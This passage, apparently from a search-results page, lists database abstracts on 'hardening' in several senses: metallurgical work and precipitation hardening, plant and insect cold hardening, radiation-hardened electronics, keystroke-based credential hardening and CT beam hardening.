to the energy of accumulated defects. It is anticipated that accumulation of the elastic energy of defects is governed by plastic work. The suggested model has a reasonable agreement with the available experimental data for copper up to P = 70 GPa , for aluminum up to P = 10 GPa and for tantalum up to P = 20 GPa. 9. Structure and Young modulus of age hardening elinvar 45NKhT International Nuclear Information System (INIS) Baraz, V.R.; Strizhak, V.A.; Tsykin, D.N. 1996-01-01 The influence of quenching and ageing on structural features and Young modulus of precipitation hardening elinvar alloy 45 NKhT is under study. It is shown that the quenched alloy possesses a decreased elastic modulus which value drops with a quenching temperature increase. The ally ageing results in restoration of elastic modulus. The temperature range of Young modulus stability is shown to be independent of heat treatment conditions. The anomalies of elastic modulus in quenched alloy are conditioned by structural and magnetoelastic factors. The mechanisms of continuous and discontinuous precipitation mechanism has no effect on efficiency of Young modulus restoration. 13 refs., 6 figs 10. Thermal stress ratcheting analysis of a time-hardening structure International Nuclear Information System (INIS) Hada, Kazuhiko 1999-01-01 Thermal stress ratcheting and shakedown is analyzed for a time-hardening structure: the yield stress increases as time goes on under exposure to neutron irradiation or thermal aging. New three modes of ratcheting and shakedown are identified as transition to other deformation modes. Stress regimes and thermal ratchet strains are formulated as a function of time-increasing yield stress. Moreover, a new model of trouble occurrence frequency as a modification to a bath-tube curve is proposed for calculating a time period of a thermal cycle. Application of the proposed formulation tells us a benefit of taking into account the time hardening due to neutron irradiation. (author) 11. Effect of ethephon on hardening of Pachystroma longifolium seedlings Directory of Open Access Journals (Sweden) João Alexandre Lopes Dranski 2013-06-01 Full Text Available Immediately after planting, tree seedlings face adverse environmental and biotic stresses that must be overcome to ensure survival and to yield a desirable growth. Hardening practices in the nursery may help improve seedling stress resistance through reduction of aboveground plant tissues and increased root volume and biomass. We conducted an assay to quantify changes in the morphogenesis following application of ethephon on seedlings of Pachystroma longifolium (Ness I. M. Johnst.during hardening. The results showed no effect of the ethephon treatments on the number of leaves but a reduction of up to 50% in seedling height increment, and an increase in stem diameter increment of up to 44% with the 600 mg L-1 ethephon treatment, which consequently altered seedling Dickson Quality Index. Our results indicate that ethephon may help to promote desired morphological changes that occur during seedling hardening in nurseries. 12. Role of work hardening characteristics of matrix alloys in the ... Indian Academy of Sciences (India) Unknown with increasing prismatic punching of dislocations in the order 7075, 2014, 7010, 2024, 6061 and commercial purity aluminium leading to increased strength increments is noted. Keywords. Metal matrix composites; strengthening; work hardening rate; dislocation density. 1. Introduction. While in continuous fibre composites, ... 13. Precipitation hardening in dilute Al–Zr alloys Directory of Open Access Journals (Sweden) Pedro Henrique Lamarão Souza 2018-01-01 Full Text Available The aim of this study was to investigate the effect of solute content (hipoperitectic Al–0.22 wt.%Zr and hiperperitectic Al–0.32 wt.%Zr on the precipitation hardening and microstructural evolution of dilute Al–Zr alloys isothermally aged. The materials were conventionally cast in a muffle furnace, solidified in a water-cooled Cu mold and subsequently heat-treated at the temperature of 650 K (377 °C for 4, 12, 24, 100 and 400 h. Mechanical characterization was performed at room temperature, using a microhardness tester and microstructural characterization was carried out on a Transmission Electron Microscope – TEM. The observed microhardness values increased during isothermal aging, due to the precipitation of nanometer-scale Al3Zr L12 particles. Peak strength was achieved within 100 h of aging. After aging for 400 h, microhardness values presented a slight decrease for both alloys, thus indicating overaging due to the coalescence of precipitates. Microhardness values increased with solute content, due to the precipitation of a higher number density of finer precipitates. After 400 h of heat-treating, coalescence was higher for the alloy with lower solute content and, also, the presence of antiphase boundaries – APBs, planar faults associated with the L12 to D023 structural transition, were observed. Comparing theoretical calculations of the increment in strength due to precipitation strengthening with experimental results, it was observed that their values are in reasonable agreement. The Orowan dislocation looping mechanism takes place during precipitation hardening for both alloys in the peak hardness condition. 14. Influence of Hardening Model on Weld Residual Stress Distribution Energy Technology Data Exchange (ETDEWEB) Mullins, Jonathan; Gunnars, Jens (Inspecta Technology AB, Stockholm (Sweden)) 2009-06-15 This study is the third stage of a project sponsored by the Swedish Radiation Safety Authority (SSM) to improve the weld residual stress modelling procedures currently used in Sweden. The aim of this study was to determine which material hardening model gave the best agreement with experimentally measured weld residual stress distributions. Two girth weld geometries were considered: 19mm and 65mm thick girth welds with Rin/t ratios of 10.5 and 2.8, respectively. The FE solver ABAQUS Standard v6.5 was used for analysis. As a preliminary step some improvements were made to the welding simulation procedure used in part one of the project. First, monotonic stress strain curves and a mixed isotropic/kinematic hardening model were sourced from the literature for 316 stainless steel. Second, more detailed information was obtained regarding the geometry and welding sequence for the Case 1 weld (compared with phase 1 of this project). Following the preliminary step, welding simulations were conducted using isotropic, kinematic and mixed hardening models. The isotropic hardening model gave the best overall agreement with experimental measurements; it is therefore recommended for future use in welding simulations. The mixed hardening model gave good agreement for predictions of the hoop stress but tended to under estimate the magnitude of the axial stress. It must be noted that two different sources of data were used for the isotropic and mixed models in this study and this may have contributed to the discrepancy in predictions. When defining a mixed hardening model it is difficult to delineate the relative contributions of isotropic and kinematic hardening and for the model used it may be that a greater isotropic hardening component should have been specified. The kinematic hardening model consistently underestimated the magnitude of both the axial and hoop stress and is not recommended for use. Two sensitivity studies were also conducted. In the first the effect of using a 15. Influence of Hardening Model on Weld Residual Stress Distribution International Nuclear Information System (INIS) Mullins, Jonathan; Gunnars, Jens 2009-06-01 This study is the third stage of a project sponsored by the Swedish Radiation Safety Authority (SSM) to improve the weld residual stress modelling procedures currently used in Sweden. The aim of this study was to determine which material hardening model gave the best agreement with experimentally measured weld residual stress distributions. Two girth weld geometries were considered: 19mm and 65mm thick girth welds with Rin/t ratios of 10.5 and 2.8, respectively. The FE solver ABAQUS Standard v6.5 was used for analysis. As a preliminary step some improvements were made to the welding simulation procedure used in part one of the project. First, monotonic stress strain curves and a mixed isotropic/kinematic hardening model were sourced from the literature for 316 stainless steel. Second, more detailed information was obtained regarding the geometry and welding sequence for the Case 1 weld (compared with phase 1 of this project). Following the preliminary step, welding simulations were conducted using isotropic, kinematic and mixed hardening models. The isotropic hardening model gave the best overall agreement with experimental measurements; it is therefore recommended for future use in welding simulations. The mixed hardening model gave good agreement for predictions of the hoop stress but tended to under estimate the magnitude of the axial stress. It must be noted that two different sources of data were used for the isotropic and mixed models in this study and this may have contributed to the discrepancy in predictions. When defining a mixed hardening model it is difficult to delineate the relative contributions of isotropic and kinematic hardening and for the model used it may be that a greater isotropic hardening component should have been specified. The kinematic hardening model consistently underestimated the magnitude of both the axial and hoop stress and is not recommended for use. Two sensitivity studies were also conducted. In the first the effect of using a 16. Modeling copper precipitation hardening and embrittlement in a dilute Fe-0.3at.%Cu alloy under neutron irradiation Science.gov (United States) Bai, Xian-Ming; Ke, Huibin; Zhang, Yongfeng; Spencer, Benjamin W. 2017-11-01 Neutron irradiation in light water reactors can induce precipitation of nanometer sized Cu clusters in reactor pressure vessel steels. The Cu precipitates impede dislocation gliding, leading to an increase in yield strength (hardening) and an upward shift of ductile-to-brittle transition temperature (embrittlement). In this work, cluster dynamics modeling is used to model the entire Cu precipitation process (nucleation, growth, and coarsening) in a Fe-0.3at.%Cu alloy under neutron irradiation at 300°C based on the homogenous nucleation mechanism. The evolution of the Cu cluster number density and mean radius predicted by the modeling agrees well with experimental data reported in literature for the same alloy under the same irradiation conditions. The predicted precipitation kinetics is used as input for a dispersed barrier hardening model to correlate the microstructural evolution with the radiation hardening and embrittlement in this alloy. The predicted radiation hardening agrees well with the mechanical test results in the literature. Limitations of the model and areas for future improvement are also discussed in this work. 17. Effect of aluminizing on hardenability of steel (S45C) Science.gov (United States) Prayitno, D.; Sugiarto, R. 2018-01-01 The objective of research is to know the effect of aluminizing on hardenability of steel (S45C). The research methodologies were as follows. The Steels (S45C) were machined into the Jominy test samples. Next the samples were preheating at 700 ° C for 30 minutes and then the samples were dipped into the molten of aluminium for 3 minutes as a hot dip aluminizng method. The aluminium molten was 700 ° C. Then the samples were cooled into room temperatures. Finally the samples were into the jominy tested. The results show that the aluminizing (include the preheating process) increases the hardenability of steel (S45C). 18. Induction Hardening of External Gear Science.gov (United States) Bukanin, V. A.; Ivanov, A. N.; Zenkov, A. E.; Vologdin, V. V.; Vologdin, V. V., Jr. 2018-03-01 Problems and solution of gear induction hardening are described. Main attention is paid to the parameters of heating and cooling systems. ELTA 7.0 program has been used to obtain the required electrical parameters of inductor, power sources, resonant circuits, as well as to choose the quenching media. Comparison of experimental and calculated results of investigation is provided. In order to compare advantages and disadvantages of single- and dual-frequency heating processes, many variants of these technologies were simulated. The predicted structure and hardness of steel gears are obtained by use of the ELTA data base taken into account the Continuous Cooling Transformation diagrams. 19. Optimization of resistively hardened latches International Nuclear Information System (INIS) Gagne, G.; Savaria, Y. 1990-01-01 The design of digital circuits tolerant to single-event upsets is considered. The results of a study are presented on which an analytical model was used to predict the behavior of a standard resistively hardened latch. It is shown that a worst case analysis for all possible single-event upset situations (on the latch or in the logic) can be derived from studying the effects of a transient disturbed write cycle. The existence of an intrinsic minimum write period to tolerate a transient of a given duration is also demonstrated 20. Instability analysis of a fully plastic center-cracked strip of a power hardening material International Nuclear Information System (INIS) Zahoor, A.; Paris, P.C. 1978-01-01 An approach for predicting unstable crack growth in a power hardening material is discussed. A fully plastic center-cracked strip of finite width under plane strain conditions, which involves J-controlled crack growth, is analyzed. The conditions for unstable crack growth are identified in terms of a non-dimensional parameter, the Tearing Modulus, T, which incorporates the effect of elastic system compliance on the cracked structure as well as the influence of hardening. Numerical results also illustrate the strong influences on stability of both the strain hardening characteristics of the material and certain geometrical proportions which greatly influence the system compliance. (author) 1. 78 FR 70356 - Compliance With Order EA-13-109, Order Modifying Licenses With Regard to Reliable Hardened... Science.gov (United States) 2013-11-25 ... Licenses With Regard to Reliable Hardened Containment Vents Capable of Operation Under Severe Accident... Regard to Reliable Hardened Containment Vents Capable of Operation under Severe Accident Conditions... capable of a operation under severe accident conditions. This ISG also endorses, with clarifications, the... 2. A unified theoretical and experimental study of anisotropic hardening International Nuclear Information System (INIS) Boehler, J.P.; Raclin, J. 1981-01-01 The purpose of this work is to develop a consistent formulation of the constitutive relations regarding anisotropic hardening materials. Attention is focused on the appearance and the evolution of mechanical anisotropies during irreversible processes, such as plastic forming and inelastic deformation of structures. The representation theorems for anisotropic tensor functions constitute a theoretical basis, allowing to reduce arbitrariness and to obtain a unified formulation of anisotropic hardening. In this approach, a general three-dimensional constitutive law is developed for prestrained initially orthotropic materials. Introduction of the plastic behavior results in the general forms of both the flow-law and the yield criterion. The developed theory is then specialized for the case of plane stress and different modes of anisotropic hardening are analyzed. A new generalization of the Von Mises criterion is proposed, in considering a homogeneous form of order two in stress and employing the simplest combinations of the basic invariants entering the general form of the yield condition. The proposed criterion involves specific terms accounting for the initial anisotropy, the deformation induced anisotropy and correlative terms between initial and induced anisotropy. The effects of prestrainings result in both isotropic and anisotropic hardening. An adequate experimental program, consisting of uniaxial tensile tests on oriented specimens of prestrained sheet-metal, was performed, in order to determine the specific form and the evolution of the anisotropic failure criterion for soft-steel subjected to different irreversible prestrainings. (orig.) 3. Numerical analysis of drilling hole work-hardening effects in hole-drilling residual stress measurement Science.gov (United States) Li, H.; Liu, Y. H. 2008-11-01 The hole-drilling strain gage method is an effective semi-destructive technique for determining residual stresses in the component. As a mechanical technique, a work-hardening layer will be formed on the surface of the hole after drilling, and affect the strain relaxation. By increasing Young's modulus of the material near the hole, the work-hardening layer is simplified as a heterogeneous annulus. As an example, two finite rectangular plates submitted to different initial stresses are treated, and the relieved strains are measured by finite element simulation. The accuracy of the measurement is estimated by comparing the simulated residual stresses with the given initial ones. The results are shown for various hardness of work-hardening layer. The influence of the relative position of the gages compared with the thickness of the work-hardening layer, and the effect of the ratio of hole diameter to work-hardening layer thickness are analyzed as well. 4. Hardening of niobium alloys at precrystallization annealing International Nuclear Information System (INIS) Vasil'eva, E.V.; Pustovalov, V.A. 1989-01-01 Niobium base alloys were investigated. It is shown that precrystallization annealing of niobium-molybdenum, niobium-vanadium and niobium-zirconium alloys elevates much more sufficiently their resistance to microplastic strains, than to macroplastic strains. Hardening effect differs sufficiently for different alloys. The maximal hardening is observed for niobium-vanadium alloys, the minimal one - for niobium-zirconium alloys 5. Investigation of a Hardened Cement Paste Grout DEFF Research Database (Denmark) Esteves, Luis Pedro; Sørensen, Eigil Verner This report documents a series of tests performed on a hardened cement paste grout delivered by the client, Det Norske Veritas A/S.......This report documents a series of tests performed on a hardened cement paste grout delivered by the client, Det Norske Veritas A/S.... 6. Keystroke Dynamics-Based Credential Hardening Systems Science.gov (United States) Bartlow, Nick; Cukic, Bojan abstract Keystroke dynamics are becoming a well-known method for strengthening username- and password-based credential sets. The familiarity and ease of use of these traditional authentication schemes combined with the increased trustworthiness associated with biometrics makes them prime candidates for application in many web-based scenarios. Our keystroke dynamics system uses Breiman’s random forests algorithm to classify keystroke input sequences as genuine or imposter. The system is capable of operating at various points on a traditional ROC curve depending on application-specific security needs. As a username/password authentication scheme, our approach decreases the system penetration rate associated with compromised passwords up to 99.15%. Beyond presenting results demonstrating the credential hardening effect of our scheme, we look into the notion that a user’s familiarity to components of a credential set can non-trivially impact error rates. 7. Rapid cold hardening: a gut feeling. Science.gov (United States) Worland, M R; Convey, P; Luke ov , A 2000-01-01 This study examined the rate of cold hardening of a field population of Antarctic springtails and the effect of eating food with particular levels of ice nucleating activity on the animal's whole body freezing point. The SCPs of samples of c. 20, freshly collected, Cryptopygus antarcticus were measured hourly over a 32 hour collection period using differential scanning calorimetry and related to habitat temperature. The mean SCP of the springtails increased from -24 to -10 degree C during which time the habitat temperature warmed slowly from -2.5 to +2.5 degree C. In laboratory experiments, previously starved, cold tolerant springtails were fed on selected species of algae with measured SCP's but there was no clear correlation between the SCP of food and that of the animals after feeding. Microscopic examination of faecal pellets and guts from springtails showed that algal cells were completely destroyed during digestion. 8. Radiation hardening of integrated circuits technologies International Nuclear Information System (INIS) Auberton-Herve, A.J.; Leray, J.L. 1991-01-01 The radiation hardening studies started in the mid decade -1960-1970. To survive the different military or space radiative environment, a new engineering science borned, to understand the degradation of electronics components. The different solutions to improve the electronic behavior in such environment, have been named radiation hardening of the technologies. Improvement of existing technologies, and qualification method have been widely studied. However, at the other hand, specific technologies was developped : The Silicon On Insulator technologies for CMOS or Bipolar. The HSOI3HD technology (supported by DGA-CEA DAM and LETI with THOMSON TMS) offers today the highest hardening level for the integration density of hundreds of thousand transistors on the same silicon. Full complex systems would be realized on a single die with a technological radiation hardening and no more system hardening 9. Challenges in hardening technologies using shallow-trench isolation International Nuclear Information System (INIS) Shaneyfelt, M.R.; Dodd, P.E.; Draper, B.L.; Flores, R.S. 1998-02-01 Challenges related to radiation hardening CMOS technologies with shallow-trench isolation are explored. Results show that trench hardening can be more difficult than simply replacing the trench isolation oxide with a hardened field oxide 10. Comparison of Thermal Creep Strain Calculation Results Using Time Hardening and Strain Hardening Rules International Nuclear Information System (INIS) Kim, Junehyung; Cheon, Jinsik; Lee, Byoungoon; Lee, Chanbock 2014-01-01 One of the design criteria for the fuel rod in PGSFR is the thermal creep strain of the cladding, because the cladding is exposed to a high temperature for a long time during reactor operation period. In general, there are two kind of calculation scheme for thermal creep strain: time hardening and strain hardening rules. In this work, thermal creep strain calculation results for HT9 cladding by using time hardening and strain hardening rules are compared by employing KAERI's current metallic fuel performance analysis code, MACSIS. Also, thermal creep strain calculation results by using ANL's metallic fuel performance analysis code, LIFE-METAL which adopts strain hardening rule are compared with those by using MACSIS. Thermal creep strain calculation results for HT9 cladding by using time hardening and strain hardening rules were compared by employing KAERI's current metallic fuel performance analysis code, MACSIS. Also, thermal creep strain calculation results by using ANL's metallic fuel performance analysis code, LIFE-METAL which adopts strain hardening rule were compared with those by using MACSIS. Tertiary creep started earlier in time hardening rule than in strain hardening rule. Also, calculation results by MACSIS with strain hardening and those obtained by using LIFE-METAL were almost identical to each other 11. Electron beam hardened paint binder International Nuclear Information System (INIS) Johnson, O.B.; Labana, S.S. 1976-01-01 The invention concerns a paint binder hardened by the effect of electron beams (0.1-100 Mrad/sec). It consists of a dispersion of (A) an ethylenic unsaturated material in (B) at least one vinyl monomer. The component (A) in a reaction product of degraded rubber particles (0.1-4 μm) and an ethylenic unsaturated component with a reactive epoxy, hydroxy or carboxy group which is bonded to the rubber particles by ester or urethane compounds. The rubber particles possess a nucleus and a cross-linked elastomeric acryl polymer, an outer shell with reactive groups and an intermediate layer formed by the monomers of the nucleus and the shell. The manner of production is described in great detail and supplemented by 157 examples. The coatings are suitable to coat articles which will be subject to deformation. (UWI) [de 12. Radiation hardening of smart electronics International Nuclear Information System (INIS) Mayo, C.W.; Cain, V.R.; Marks, K.A.; Millward, D.G. 1991-02-01 Microprocessor based ''smart'' pressure, level, and flow transmitters were tested to determine the radiation hardness of this class of electronic instrumentation for use in reactor building applications. Commercial grade Complementary Metal Oxide Semiconductor (CMOS) integrated circuits used in these transmitters were found to fail at total gamma dose levels between 2500 and 10,000 rad. This results in an unacceptably short lifetime in many reactor building radiation environments. Radiation hardened integrated circuits can, in general, provide satisfactory service life for normal reactor operations when not restricted to the extremely low power budget imposed by standard 4--20 mA two-wire instrument loops. The design of these circuits will require attention to vendor radiation hardness specifications, dose rates, process control with respect to radiation hardness factors, and non-volatile programmable memory technology. 3 refs., 2 figs 13. Microstructural evolution and the variation of tensile behavior after aging heat treatment of precipitation hardened martensitic steel Energy Technology Data Exchange (ETDEWEB) Shin, Jong-Ho, E-mail: [email protected] [Casting and Forging Technology Development Team, Doosan Heavy Industries and Construction, 22 Doosanvolvo-ro, Changwon 642-792 (Korea, Republic of); Jeong, JaeSuk [Materials and Manufacturing Development Team, Doosan Heavy Industries and Construction, 22 Doosanvolvo-ro, Changwon 642-792 (Korea, Republic of); Lee, Jong-Wook [Casting and Forging Technology Development Team, Doosan Heavy Industries and Construction, 22 Doosanvolvo-ro, Changwon 642-792 (Korea, Republic of) 2015-01-15 The effects of aging temperature on the microstructural evolution and the tensile behavior of precipitation hardened martensitic steel were investigated. Microscopic analysis using transmission electron microscope (TEM) was combined with the microstructural analysis using the synchrotron X-ray diffraction (XRD) to characterize the microstructural evolution with aging temperature. Peak hardness was obtained by precipitation of the Ni{sub 3}Al ordered phase. After aging at temperature range from 420 to 590 °C, spherical Ni{sub 3}Al precipitates and ellipsoidal M{sub 23}C{sub 6} carbides were observed within laths and at lath boundaries, respectively. Strain hardening behavior was analyzed with Ludwik equation. It is observed that the plastic strain regimes can be divided into two different stages by a rapid increase in strain hardening followed by a comparatively lower increase. At the first strain hardening stage, the aged specimen exhibited higher strain hardening exponent than the as-quenched specimen, and the exponent in the aged specimen was not changed considerably with increasing aging temperature. It is revealed that the strain hardening exponents at the first and the second stages were associated with the Ni{sub 3}Al precipitates and the domain size representing the coherent scattering area, respectively. - Highlights: • All of aged specimen exhibited higher strain hardening exponent than the as-quenched specimen at the first stage. • The value of strain hardening exponent in the aged specimen was nearly constant with aging temperature. • Ni{sub 3}Al precipitation dominantly influenced to the increase of strain hardening exponent at the first strain hardening stage. • Domain size was associated with strain hardening exponent at the second strain hardening stage. 14. Microstructural evolution and the variation of tensile behavior after aging heat treatment of precipitation hardened martensitic steel International Nuclear Information System (INIS) Shin, Jong-Ho; Jeong, JaeSuk; Lee, Jong-Wook 2015-01-01 The effects of aging temperature on the microstructural evolution and the tensile behavior of precipitation hardened martensitic steel were investigated. Microscopic analysis using transmission electron microscope (TEM) was combined with the microstructural analysis using the synchrotron X-ray diffraction (XRD) to characterize the microstructural evolution with aging temperature. Peak hardness was obtained by precipitation of the Ni 3 Al ordered phase. After aging at temperature range from 420 to 590 °C, spherical Ni 3 Al precipitates and ellipsoidal M 23 C 6 carbides were observed within laths and at lath boundaries, respectively. Strain hardening behavior was analyzed with Ludwik equation. It is observed that the plastic strain regimes can be divided into two different stages by a rapid increase in strain hardening followed by a comparatively lower increase. At the first strain hardening stage, the aged specimen exhibited higher strain hardening exponent than the as-quenched specimen, and the exponent in the aged specimen was not changed considerably with increasing aging temperature. It is revealed that the strain hardening exponents at the first and the second stages were associated with the Ni 3 Al precipitates and the domain size representing the coherent scattering area, respectively. - Highlights: • All of aged specimen exhibited higher strain hardening exponent than the as-quenched specimen at the first stage. • The value of strain hardening exponent in the aged specimen was nearly constant with aging temperature. • Ni 3 Al precipitation dominantly influenced to the increase of strain hardening exponent at the first strain hardening stage. • Domain size was associated with strain hardening exponent at the second strain hardening stage 15. Secondary Hardening Behavior in Super Duplex Stainless Steels during LCF in Dynamic Strain Ageing Regime OpenAIRE Chai, Guocai; Andersson, Marcus 2013-01-01 Cyclic deformation behaviors in five modified duplex stainless steel S32705 grades have been studied at 20 °C, 200 °C, 250° and 350 °C. The influence of temperature and nitrogen concentration on the occurrence of the second hardening phenomenon, in the stress response curve was focused. An increase in nitrogen concentration can have a positive effect on dynamic strain ageing by increasing the first hardening and also the second hardening behavior during cyclic deformation. Furthermore, an inc... 16. DEVELOPMENT AND RESEARCH OF ULTRASONIC OSCILLATORY SYSTEM FOR HARDENING OF SPRING PLATE BILLETS Directory of Open Access Journals (Sweden) V. A. Tomilo 2015-01-01 Full Text Available Various schemes of ultrasonic oscillatory system are developed: with a «force nonsensitive» support, with a «force sensitive» support, with the deforming steel balls in bulk. Results of the ultrasonic treatment showed that hardening of a surface of the samples took place when the vibration amplitude of a radiator exceeds a certain level. The level of hardening increases with increase in amplitude of fluctuations of a radiator. Higher level of hardening is registered when the surface is treated by steel balls. 17. Work Hardening Behavior of 1020 Steel During Cold-Beating Simulation Science.gov (United States) CUI, Fengkui; LING, Yuanfei; XUE, Jinxue; LIU, Jia; LIU, Yuhui; LI, Yan 2017-03-01 The present research of cold-beating formation mainly focused on roller design and manufacture, kinematics, constitutive relation, metal flow law, thermo-mechanical coupling, surface micro-topography and microstructure evolution. However, the research on surface quality and performance of workpieces in the process of cold-beating is rare. Cold-beating simulation experiment of 1020 steel is conducted at room temperature and strain rates ranging from 2000 to 4000 s-1 base on the law of plastic forming. According to the experimental data, the model of strain hardening of 1020 steel is established, Scanning Electron Microscopy(SEM) is conducted, the mechanism of the work hardening of 1020 steel is clarified by analyzing microstructure variation of 1020 steel. It is found that the strain rate hardening effect of 1020 steel is stronger than the softening effect induced by increasing temperatures, the process of simulation cold-beating cause the grain shape of 1020 steel significant change and microstructure elongate significantly to form a fibrous tissue parallel to the direction of deformation, the higher strain rate, the more obvious grain refinement and the more hardening effect. Additionally, the change law of the work hardening rate is investigated, the relationship between dislocation density and strain, the relationship between work hardening rate and dislocation density is obtained. Results show that the change trend of the work hardening rate of 1020 steel is divided into two stages, the work hardening rate decreases dramatically in the first stage and slowly decreases in the second stage, finally tending toward zero. Dislocation density increases with increasing strain and strain rate, work hardening rate decreases with increasing dislocation density. The research results provide the basis for solving the problem of improving the surface quality and performance of workpieces under cold-beating formation of 1020 steel. 18. Solution and precipitation hardening of two-phase gamma titanium alloy; Mischkristall- und Ausscheidungshaertung zweiphasiger Gamma-Titanaluminidlegierungen Energy Technology Data Exchange (ETDEWEB) Christoph, U. [GKSS-Forschungszentrum Geesthacht GmbH (Germany). Inst. fuer Werkstofforschung 1997-12-31 The present study on solution and precipitation hardening of two-phase gamma titanium aluminides was directed towards improved creep resistance. Alloys were systematically doped with carbon up to 0.37 atomic percent. Solid solutions and precipitates of carbon were formed by different thermal treatments. The hardening obtained as a result of the different precipitate conditions was measured by deformation experiments between 293 and 973 K. An increase of yield stress of up to 300 MPa was observed for finely distributed perovskite precipitates. This increase of yield stress was maintained up to 973 K and was shown to be dominantly athermal in character from activation parameter measurements. Electron microscopic investigations confirmed the athermal nature of the perovskite precipitates to dislocation motion. The precipitates thus act as barriers to dislocation glide over a wide temperature range and can therefore increase the creep resistance at the anticipated operation temperature of 973 K. In addition to studying the mechanism of precipitation hardening, the pinning of dislocations by the formation of impurity atmospheres has also been investigated. This phenomenon is effective at intermediate temperatures of around 550 K and is thought to be caused by very mobile elements such as iron and boron. These elements are present in all alloys of technical relevance. (orig.) 158 refs. 19. Strain hardening behavior and microstructural evolution during plastic deformation of dual phase, non-grain oriented electrical and AISI 304 steels Energy Technology Data Exchange (ETDEWEB) Soares, Guilherme Corrêa; Gonzalez, Berenice Mendonça; Arruda Santos, Leandro de, E-mail: [email protected] 2017-01-27 Strain hardening behavior and microstructural evolution of non-grain oriented electrical, dual phase, and AISI 304 steels, subjected to uniaxial tensile tests, were investigated in this study. Tensile tests were performed at room temperature and the strain hardening behavior of the steels was characterized by three different parameters: modified Crussard–Jaoul stages, strain hardening rate and instantaneous strain hardening exponent. Optical microscopic analysis, X-ray diffraction measurements, phase quantification by Rietveld refinement and hardness tests were also carried out in order to correlate the microstructural and mechanical responses to plastic deformation. Distinct strain hardening stages were observed in the steels in terms of the instantaneous strain hardening exponent and the strain hardening rate. The dual phase and non-grain oriented steels exhibited a two-stage strain hardening behavior while the AISI 304 steel displayed multiple stages, resulting in a more complex strain hardening behavior. The dual phase steels showed a high work hardening capacity in stage 1, which was gradually reduced in stage 2. On the other hand, the AISI 304 steel showed high strain hardening capacity, which continued to increase up to the tensile strength. This is a consequence of its additional strain hardening mechanism, based on a strain-induced martensitic transformation, as shown by the X-ray diffraction and optical microscopic analyses. 20. Synthesis of a new hardener agent for self-healing epoxy resins Science.gov (United States) Raimondo, Marialuigia; Guadagno, Liberata; Naddeo, Carlo; Longo, Pasquale; Mariconda, Annaluisa; Agovino, Anna 2014-05-01 Actually, the development of smart composites capable of self-repair in aeronautical structures is still at the planning stage owing to complex issues to overcome. One of the critical points in the development of self-healing epoxy resin is related to the impossibility to employ primary amines as hardeners. In this paper, the synthesis of a new hardener for self-healing resins is shown together with applicability conditions/ranges. 1. Processing, Microstructures and Properties of a Dual Phase Precipitation-Hardening PM Stainless Steel Science.gov (United States) Schade, Christopher To improve the mechanical properties of PM stainless steels in comparison with their wrought counterparts, a PM stainless steel alloy was developed which combines a dual-phase microstructure with precipitation-hardening. The use of a mixed microstructure of martensite and ferrite results in an alloy with a combination of the optimum properties of each phase, namely strength and ductility. The use of precipitation hardening via the addition of copper results in additional strength and hardness. A range of compositions was studied in combination with various sintering conditions to determine the optimal thermal processing to achieve the desired microstructure. The microstructure could be varied from predominately ferrite to one containing a high percentage of martensite by additions of copper and a variation of the sintering temperature before rapid cooling. Mechanical properties (transverse rupture strength (TRS), yield strength, tensile strength, ductility and impact toughness) were measured as a function of the v/o ferrite in the microstructure. A dual phase alloy with the optimal combination of properties served as the base for introducing precipitation hardening. Copper was added to the base alloy at various levels and its effect on the microstructure and mechanical properties was quantified. Processing at various sintering temperatures led to a range of microstructures; dilatometry was used utilized to monitor and understand the transformations and the formation of the two phases. The aging process was studied as a function of temperature and time by measuring TRS, yield strength, tensile strength, ductility, impact toughness and apparent hardness. It was determined that optimum aging was achieved at 538°C for 1h. Aging at slightly lower temperatures led to the formation of carbides, which contributed to reduced hardness and tensile strength. As expected, at the peak aging temperature, an increase in yield strength and ultimate tensile strength as well as 2. Radiation-hardened CMOS/SOS LSI circuits International Nuclear Information System (INIS) Aubuchon, K.G.; Peterson, H.T.; Shumake, D.P. 1976-01-01 The recently developed technology for building radiation-hardened CMOS/SOS devices has now been applied to the fabrication of LSI circuits. This paper describes and presents results on three different circuits: an 8-bit adder/subtractor (Al gate), a 256-bit shift register (Si gate), and a polycode generator (Al gate). The 256-bit shift register shows very little degradation after 1 x 10 6 rads (Si), with an increase from 1.9V to 2.9V in minimum operating voltage, a decrease of about 20% in maximum frequency, and little or no change in quiescent current. The p-channel thresholds increase from -0.9V to -1.3V, while the n-channel thresholds decrease from 1.05 to 0.23V, and the n-channel leakage remains below 1nA/mil. Excellent hardening results were also obtained on the polycode generator circuit. Ten circuits were irradiated to 1 x 10 6 rads (Si), and all continued to function well, with an increase in minimum power supply voltage from 2.85V to 5.85V and an increase in quiescent current by a factor of about 2. Similar hardening results were obtained on the 8-bit adder, with the minimum power supply voltage increasing from 2.2V to 4.6V and the add time increasing from 270 to 350 nsec after 1 x 10 6 rads (Si). These results show that large CMOS/SOS circuits can be hardened to above 1 x 10 6 rads (Si) with either the Si gate or Al gate technology. The paper also discusses the relative advantages of the Si gate versus the Al gate technology 3. The capability of pulsed laser radiation for cutting band saws hardening Directory of Open Access Journals (Sweden) Marinin Evgeny 2017-01-01 Full Text Available The article deals with the possibilities of pulsed laser radiation for hardening the band saws. The regimes of pulsed laser hardening the band saws of 1 mm thick made of tool steel 9CrV are grounded theoretically and experimentally tested. Selected and justified modes of treatment harden in the autohardening mode without additional heat removal. The results of the experimental research of microhardness are presented and formed as a result of processing of the microstructure. Selected modes increase the microhardness of the surface to 8500 MPa and form ultra highly dispersed structure in the surface layer characterized by high resistance to abrasion. 4. The microstructural origin of work hardening stages DEFF Research Database (Denmark) Hughes, D. A.; Hansen, N. 2018-01-01 The strain evolution of the flow stress and work hardening rate in stages III and IV is explored by utilizing a fully described deformation microstructure. Extensive measurements by transmission electron microscopy reveal a hierarchical subdivision of grains by low angle incidental dislocation...... addition of the classical Taylor and Hall-Petch formulations. Model predictions agree closely with experimental values of flow stress and work hardening rate in stages III and IV. Strong connections between the evolutionary stages of the deformation microstructure and work hardening rates create a new...... (modern) basis for the classic problem of work hardening in metals and alloys. These connections lead the way for the future development of ultra high strength ductile metals produced via plastic deformation.(c) 2018 Acta Materialia Inc. Published by Elsevier Ltd. All rights reserved.... 5. An energy-based beam hardening model in tomography International Nuclear Information System (INIS) Casteele, E van de; Dyck, D van; Sijbers, J; Raman, E 2002-01-01 As a consequence of the polychromatic x-ray source, used in micro-computer tomography (μCT) and in medical CT, the attenuation is no longer a linear function of absorber thickness. If this nonlinear beam hardening effect is not compensated, the reconstructed images will be corrupted by cupping artefacts. In this paper, a bimodal energy model for the detected energy spectrum is presented, which can be used for reduction of artefacts caused by beam hardening in well-specified conditions. Based on the combination of the spectrum of the source and the detector efficiency, the assumption is made that there are two dominant energies which can describe the system. The validity 